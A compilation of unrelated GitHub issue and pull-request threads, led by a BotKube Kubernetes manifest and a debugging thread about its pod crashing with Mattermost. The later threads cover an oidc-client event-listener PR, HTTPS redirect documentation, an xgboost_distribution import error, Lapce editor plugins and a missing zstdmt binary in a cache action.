      - name: persistentvolumeclaims
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: secrets
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: configmaps
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: daemonsets
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: jobs
        namespaces:
          - all
        events:
          - create
          - update
          - delete
          - error

      - name: roles
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: rolebindings
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: clusterroles
        namespaces:
          - all
        events:
          - create
          - delete
          - error
      - name: clusterrolebindings
        namespace:
          - all
        events:
          - create
          - delete
          - error
      - name: nodes
        namespaces:
          - all
        events:
          - create
          - delete
          - error

    # Check true if you want to receive recommendations
    # about the best practices for the created resource
    recommendations: true

    # Channels configuration
    communications:
      # Settings for Slack
      slack:
        enabled: false
        channel: 'SLACK_CHANNEL'
        token: 'SLACK_API_TOKEN'

      # Settings for Mattermost
      mattermost:
        enabled: true
        url: ''                # URL where Mattermost is running. e.g https://example.com:9243
        token: ''                   # Personal Access token generated by BotKube user
        team: ''                     # Mattermost Team to configure with BotKube
        channel: ''               # Mattermost Channel for receiving BotKube alerts

      # Settings for ELS
      elasticsearch:
        enable: false
        server: 'ELASTICSEARCH_ADDRESS'              # e.g https://example.com:9243
        username: 'ELASTICSEARCH_USERNAME'
        password: 'ELASTICSEARCH_PASSWORD'
        # ELS index settings
        index:
          name: botkube
          type: botkube-event
          shards: 1
          replicas: 0

    # Setting to support multiple clusters
    settings:
      # Cluster name to differentiate incoming messages
      clustername: cluster_name
      # Set true to enable kubectl commands execution
      allowkubectl: false
      # Set false to disable upgrade notification
      upgradeNotifier: true
---
# serviceaccount
apiVersion: v1
kind: ServiceAccount
metadata:
  name: botkube-sa
  labels:
    app: botkube
---
# Source: botkube/templates/clusterrole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: botkube-clusterrole
  labels:
    app: botkube
rules:
  - apiGroups: ["*"]
    resources: ["*"]
    verbs: ["get", "watch", "list"]
---
# clusterrolebinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: botkube-clusterrolebinding
  labels:
    app: botkube
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: botkube-clusterrole
subjects:
- kind: ServiceAccount
  name: botkube-sa
  namespace: botkube
---
# Secret
apiVersion: v1
kind: Secret
metadata:
  name: botkube-secret
  labels:
    app: botkube
data:
  ca-certificates.crt: 'ENCODED_CERTIFICATE '
---
# deployment
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: botkube
  labels:
    component: controller
    app: botkube
spec:
  replicas: 1
  selector:
    matchLabels:
      component: controller
      app: botkube
  template:
    metadata:
      labels:
        component: controller
        app: botkube
    spec:
      serviceAccountName: botkube-sa
      containers:
        - name: botkube
          image: "infracloud/botkube:v0.8.0"
          imagePullPolicy: Always
          volumeMounts:
            - name: config-volume
              mountPath: "/config"
            - name: certs
              mountPath: "/etc/ssl/certs"
          env:
            - name: CONFIG_PATH
              value: "/config/"
            # set one of the log levels- info, warn, debug, error, fatal, panic
            - name: LOG_LEVEL
              value: "info"
            # set BotKube release version
            - name: BOTKUBE_VERSION
              value: v0.8.0
          resources:
            requests:
              cpu: 100m
              memory: "512Mi"
            limits:
              memory: "1024Mi"
      volumes:
        - name: config-volume
          configMap:
            name: botkube-configmap
        - name: certs
          secret:
            secretName: botkube-secret

Just wanted to make sure:

Are you passing correct config in

      # Settings for Mattermost
      mattermost:
        enabled: true
        url: ''                # URL where Mattermost is running. e.g https://example.com:9243
        token: ''                   # Personal Access token generated by BotKube user
        team: ''                     # Mattermost Team to configure with BotKube
        channel: ''               # Mattermost Channel for receiving BotKube alerts

Are you passing encoded self signed certs in

# Secret
apiVersion: v1
kind: Secret
metadata:
  name: botkube-secret
  labels:
    app: botkube
data:
  ca-certificates.crt: 'ENCODED_CERTIFICATE '

Yes, I am passing Mattermost token, url, etc in that section which works.
Yes, I am passing the base64 encoded CA certificate.

Thanks for quick reply.

@bilaloslo92 Are you creating BotKube in botkube namespace?

Also, please verify if secret is getting populated properly with -
kubectl get secret botkube-secret -n botkube -oyaml

@PrasadG193  - I have tried to create BotKube in multiple namespaces. Is there any restrictions in which namespace it is created in?
I can confirm the secret is populated. BotKube is able to communicate with Mattermost and send notifications, however the pod is restarted because of the error in the inital post. Thats why I am also being spammed by the notification: ...and now my watch begins for cluster clustername`!" in my mattermost channel.

@bilaloslo92 If you want to deploy BotKube in a different namespace, you need to modify the namespace field in the ClusterRoleBinding resource accordingly.
The Pod crashing issue indeed looks strange to me. I am not able reproduce this on my setup. I'll keep looking into this.

@PrasadG193  I have changed the namespace in the ClusterRoleBinding accoundingly. It is very strange, I am also unsure why this happens. I have made as few modifications as nececcary. Hopefully you are able to find out the issue. Do you get any suggestion on what it could be based on the error?

Hello, I faced the same issue. I solved with adding event == nil check in mattermost.go.
In fact I don't know why event is nil. :)

Hi @gangseok514. Good that you managed to reproduce this issue. I hope this can be fixed in the next release, since I don't want to compile it from source. @PrasadG193 - When is next release comming up and could this be included?

@gangseok514 Could you please raise the PR for the fix. Unless there are any surprises, we'll be releasing v0.9.0 by the end of this week or early next week

@gangseok514  - Could you please create an PR ? Since you managed to solve the issue. So the fix can be released in v0.9.0 :)


feat: return destructor functions from event listener methods

This updates the addAccessTokenExpired, addUserLoaded, etc. methods to forward the destructor function returned by the underlying Events class. This is a nice pattern to support since React users can integrate it into a useEffect hook:
useEffect(() => {
  return userManager.events.addAccessTokenExpiring(() => setSessionExpiring(true));
}, [userManager.events])

nice work


[#139841751] Add redirection notice and justification

What
As we have recently implemented a functionality that will redirect any
http traffic to https. It will also strip the URL path along with the
query parameters. We'd like to have few paragraphs in our docs to
explain that we're doing this and why.
How to review

Check if the new content makes sense

I don't want to be the final reviewer, but wanted to add my notes:

I think we should mention in the first paragraph that we are stripping the path and the query parameters - people tend to read selectively and some will not read the second block.
for the part why we are doing this: sensitive values in GET/POST parameters are readable in http traffic and stripping the path/query parameters will help developers realise they are using the wrong protocol.

I don't think this should be under the "deploy a static site" section because it applies to all apps. I wonder if it needs a section of its own.
@jonathanglassman would you be able to help with where to put it and rephrasing to make sure it's user friendly?

I know it applies to all apps on the system and I was wondering why did the previous note exist in the static site section only...
I was thinking of creating a separate section for it, but I'm not sure if it'd be noticeable enough... For instance, if a user comes in, they'd navigate to Deploying Rails section and probably leave there. Whilst if it's a Note section, they may get a feeling it's more related to themselves.
I don't really want to duplicate it for every section that deploys an app...

I agree with Dan and Rafal, I think a separate section under the Deploying apps section would be a good way to structure this content to make it more noticeable. That way it will appear in the LH nav and be scannable, and would hopefully mean that a user would notice it even if they go straight to the relevant app section. @paroxp, maybe we could have a quick chat on this? I just want to make sure I understand it correctly.

We had paired on this one with @jonathanglassman and made it more approachable.
We decided to move it into Deploying Apps > Secure and non-secure requests which makes it generic enough and creates a side menu link. We weren't sure of the title, so please guide if you dislike it.
Ready for re-review.

Thanks again @paroxp @jonathanglassman 👍


ImportError generated when run in simple program

I've run the following file in my terminal:
from sklearn.datasets import load_boston
from sklearn.model_selection import train_test_split

from xgboost_distribution import XGBDistribution

if __name__ == '__main__':
    data = load_boston()
    X, y = data.data, data.target
    X_train, X_test, y_train, y_test = train_test_split(X, y)

    model = XGBDistribution(
        distribution="normal",
        n_estimators=500
    )
    model.fit(
        X_train, y_train,
        eval_set=[(X_test, y_test)],
        early_stopping_rounds=10
    )

This produce an import error when it is ran:
Traceback (most recent call last):
  File "test_1.py", line 4, in <module>
    from xgboost_distribution import XGBDistribution
  File "/Users/user1/opt/anaconda3/lib/python3.8/site-packages/xgboost_distribution/__init__.py", line 18, in <module>
    from xgboost_distribution.model import XGBDistribution  # noqa
  File "/Users/user1/opt/anaconda3/lib/python3.8/site-packages/xgboost_distribution/model.py", line 7, in <module>
    from xgboost.sklearn import XGBModel, _wrap_evaluation_matrices, xgboost_model_doc
ImportError: cannot import name '_wrap_evaluation_matrices' from 'xgboost.sklearn' (/Users/user1/opt/anaconda3/lib/python3.8/site-packages/xgboost/sklearn.py)

sklearn modules are all fully updated, as well as those than sklearn requires. Why could this error be happening?

Could you please check and/or update the version of xgboost?
E.g. pip install "xgboost>=1.4.0"

This was returned after typing that command in terminal, so I am definitely already updated to at least 1.4.0.
Requirement already satisfied: xgboost>=1.4.0 in /Users/timgundersen/opt/anaconda3/lib/python3.8/site-packages (1.4.2)
Requirement already satisfied: numpy in /Users/timgundersen/opt/anaconda3/lib/python3.8/site-packages (from xgboost>=1.4.0) (1.20.3)
Requirement already satisfied: scipy in /Users/timgundersen/opt/anaconda3/lib/python3.8/site-packages (from xgboost>=1.4.0) (1.7.0)

Is it possible that this is an error out of my control?

This should work then (and indeed does in CI). You might be inadvertently running the script from a different python environment, i.e. not the one /Users/user1/opt/anaconda3/lib/python3.8/, you could try something like which python to check and/or use the anaconda docs.

Should work but then yet again it doesn't, haha...
(base) timgundersen@Tims-MacBook-Pro testing_week6 % which python
/Users/timgundersen/opt/anaconda3/bin/python

Python is definitely fully updated. @CDonnerer


Allow editing of username (profile) via overlay in me

Clicking the profile link (under Account) in /me should open an overlay with the form that was previously in Settings

Looks like there is no route for updating a user's name anymore, so this is present in the UI but is disabled until the route is back


HTML code completion support

I'm considering this text editor as an alternative for sublime or vscode, but there seems to be no HTML/CSS/JS code completion like in VSCode. Am I missing something or, if not, when could this be implemented?

This is primarily dependent on someone making a HTML / CSS / JS plugin using a Language Server for those languages.

Oh, well. Are there such plugin for this software then?
I see some code completion demos in README. Is it built in or some plugin is needed?

There is a plugin for Rust available which is used in the demo.

HTML either JS LSP could be https://github.com/typescript-language-server/typescript-language-server. Used in VSCode and
in many other editors.
I tried to make plugin for Lapce, unfortunately completetion very slow (but in VS it's faster), and treesitter syntax hightlight is get broke.
https://github.com/chirok11/lapce-tsserver
But you have to install and place binary in /usr/bin/typescript-language-server, either edit plugin instead with filling new location.
Will work on master (in cause of new language ids commit was not far ago)

Typescript/Javascript plugin is available, other plugins might be available at some point


zstdmt does not exist

Hi,
I'm using actions/cache@v4 on Ubuntu 20.04 as a self-managed runner.
zstd --version ->  *** zstd command line interface 64-bits v1.5.0, by Yann Collet ***
zstd --long -> (�/�$
It appears as though the code is assuming that zstdmt is installed.
/usr/bin/tar --posix -cf cache.tzst --exclude cache.tzst -P -C /home/runner8/runner/_work/ourrepo/ourrepo --files-from manifest.txt --use-compress-program zstdmt
/bin/sh: 1: zstdmt: not found
/usr/bin/tar: cache.tzst: Wrote only 4096 of 10240 bytes
/usr/bin/tar: Child returned status 127
/usr/bin/tar: Error is not recoverable: exiting now
Warning: Failed to save: "/usr/bin/tar" failed with error: The process '/usr/bin/tar' failed with exit code 2

I was browsing the code at https://github.com/actions/toolkit however if this is not correct please advise.
I can get more details from the self-hosted runner if needed - thanks!

https://github.com/actions/toolkit/issues/1726